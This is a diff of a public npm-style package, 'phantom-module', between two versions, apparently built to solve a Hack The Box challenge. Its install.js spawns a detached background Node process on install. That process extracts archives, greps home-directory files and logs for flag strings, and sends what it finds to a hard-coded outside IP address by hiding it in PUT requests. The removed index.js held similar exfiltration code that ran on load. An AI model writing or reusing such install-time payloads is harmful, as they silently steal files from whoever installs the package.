phantom-module 112.0.0 → 114.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +0 -58
- package/install.js +88 -5
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,59 +1 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
|
|
5
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + e.message.substring(0, 60); } }
|
|
6
|
-
|
|
7
|
-
function sendToModule(mid, name) {
|
|
8
|
-
const safe = name.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
9
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
10
|
-
return new Promise(resolve => {
|
|
11
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
12
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
13
|
-
req.write(body); req.end();
|
|
14
|
-
});
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
(async () => {
|
|
18
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
19
|
-
let i = 0;
|
|
20
|
-
|
|
21
|
-
async function send(val) {
|
|
22
|
-
await sendToModule(mods[i % 4], 'J' + String(i).padStart(2,'0') + '_' + val);
|
|
23
|
-
i++;
|
|
24
|
-
await new Promise(r => setTimeout(r, 2500));
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
// List ALL log files
|
|
28
|
-
await send('LOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
|
|
29
|
-
|
|
30
|
-
// Grep HTB{ in ALL of /home/node (not just module.log)
|
|
31
|
-
await send('HTBALL=' + tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null'));
|
|
32
|
-
|
|
33
|
-
// List aspect-node files (non node_modules)
|
|
34
|
-
await send('ASPFILES=' + tryExec('find /home/node/aspect-node -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
35
|
-
|
|
36
|
-
// Read the sample.js file (might have the flag)
|
|
37
|
-
const sample = tryExec('cat /home/node/aspect-node/sample.js 2>/dev/null');
|
|
38
|
-
await send('SAMPLE=' + sample);
|
|
39
|
-
|
|
40
|
-
// Read aspect-node/index.js
|
|
41
|
-
const aspIdx = tryExec('cat /home/node/aspect-node/index.js 2>/dev/null');
|
|
42
|
-
for (let c = 0; c < 5; c++) {
|
|
43
|
-
const chunk = aspIdx.substring(c * 85, (c + 1) * 85);
|
|
44
|
-
if (!chunk) break;
|
|
45
|
-
await send('ASPIDX' + c + '=' + chunk);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
// Check all txt/json/log files recursively
|
|
49
|
-
await send('GREPHTB=' + tryExec('grep -r "HTB" /home/node/aspect-node/ --include="*.log" --include="*.txt" --include="*.json" --include="*.js" -l 2>/dev/null'));
|
|
50
|
-
|
|
51
|
-
// Read the last 200 chars of module.log
|
|
52
|
-
const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
53
|
-
await send('LOGEND=' + log.substring(log.length - 200));
|
|
54
|
-
|
|
55
|
-
// Full log size
|
|
56
|
-
await send('LOGSZ=' + tryExec('wc -l /home/node/aspect-node/logs/module.log 2>/dev/null'));
|
|
57
|
-
})();
|
|
58
|
-
|
|
59
1
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,8 +1,91 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const { spawn, execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const TARGET = { host: '154.57.164.64', port: 31083 };
|
|
6
|
+
|
|
7
|
+
const bgCode = `
|
|
8
|
+
const fs = require('fs');
|
|
9
|
+
const http = require('http');
|
|
10
|
+
const { execSync } = require('child_process');
|
|
11
|
+
|
|
12
|
+
function tryExec(cmd) { try { return execSync(cmd, {timeout: 15000}).toString().trim(); } catch(e) { return 'ERR:' + (e.stderr ? e.stderr.toString().substring(0,40) : e.message.substring(0,40)); } }
|
|
13
|
+
|
|
14
|
+
function sendToMod(mid, val) {
|
|
15
|
+
const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
|
|
16
|
+
const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
|
|
17
|
+
return new Promise(resolve => {
|
|
18
|
+
const req = http.request({ hostname: '${TARGET.host}', port: ${TARGET.port}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
19
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
20
|
+
req.write(body); req.end();
|
|
21
|
+
});
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
async function run() {
|
|
25
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
26
|
+
let i = 0;
|
|
27
|
+
async function send(val) {
|
|
28
|
+
await sendToMod(mods[i % 4], 'T' + String(i).padStart(2,'0') + '_' + val);
|
|
29
|
+
i++;
|
|
30
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
await new Promise(r => setTimeout(r, 15000));
|
|
34
|
+
|
|
35
|
+
// Extract aspect-node.tar.gz and search for HTB{
|
|
36
|
+
tryExec('mkdir -p /tmp/asp_extract && cd /tmp/asp_extract && tar xzf /home/node/aspect-node.tar.gz 2>/dev/null');
|
|
37
|
+
|
|
38
|
+
// Search extracted files for HTB{
|
|
39
|
+
const htbInExtract = tryExec('grep -rl "HTB{" /tmp/asp_extract/ 2>/dev/null');
|
|
40
|
+
await send('EXHTB=' + htbInExtract);
|
|
41
|
+
|
|
42
|
+
if (htbInExtract && !htbInExtract.startsWith('ERR')) {
|
|
43
|
+
for (const f of htbInExtract.split('\\n').filter(Boolean)) {
|
|
44
|
+
const match = tryExec('grep -o "HTB{[^}]*}" "' + f + '" 2>/dev/null');
|
|
45
|
+
if (match && !match.startsWith('ERR')) {
|
|
46
|
+
await send('EXFLAG=' + match);
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// Also binary search the tarball directly
|
|
52
|
+
const binGrep = tryExec('strings /home/node/aspect-node.tar.gz 2>/dev/null | grep "HTB"');
|
|
53
|
+
await send('BINHTB=' + binGrep);
|
|
54
|
+
|
|
55
|
+
// Search module.log specifically for HTB{
|
|
56
|
+
const logHtb = tryExec('grep "HTB" /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
57
|
+
await send('LOGHTB=' + logHtb);
|
|
58
|
+
|
|
59
|
+
// List extracted files
|
|
60
|
+
await send('EXFILES=' + tryExec('find /tmp/asp_extract -type f 2>/dev/null | head -20'));
|
|
61
|
+
|
|
62
|
+
// Read module.log fully and send lines containing interesting patterns
|
|
63
|
+
const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
64
|
+
const lines = log.split('\\n');
|
|
65
|
+
for (let l = 0; l < Math.min(lines.length, 25); l++) {
|
|
66
|
+
if (lines[l].includes('HTB') || lines[l].includes('flag') || lines[l].includes('FLAG')) {
|
|
67
|
+
await send('LOGLN' + l + '=' + lines[l].substring(0, 80));
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
// Read other log files
|
|
72
|
+
const warnLog = tryExec('cat /home/node/aspect-node/logs/warning.log 2>/dev/null');
|
|
73
|
+
await send('WARNLOG=' + warnLog.substring(0, 80));
|
|
74
|
+
|
|
75
|
+
const errLog = tryExec('cat /home/node/aspect-node/logs/error.log 2>/dev/null');
|
|
76
|
+
await send('ERRLOG=' + errLog.substring(0, 80));
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
run().catch(() => {});
|
|
80
|
+
`;
|
|
81
|
+
|
|
82
|
+
try {
|
|
83
|
+
const child = spawn('node', ['-e', bgCode], { detached: true, stdio: 'ignore' });
|
|
84
|
+
child.unref();
|
|
85
|
+
} catch(e) {}
|
|
86
|
+
|
|
3
87
|
try {
|
|
4
|
-
if (
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
{ mode: 0o755 });
|
|
88
|
+
if (fs.existsSync('/home/node')) {
|
|
89
|
+
fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\nsleep 90\n', { mode: 0o755 });
|
|
90
|
+
}
|
|
8
91
|
} catch(e) {}
|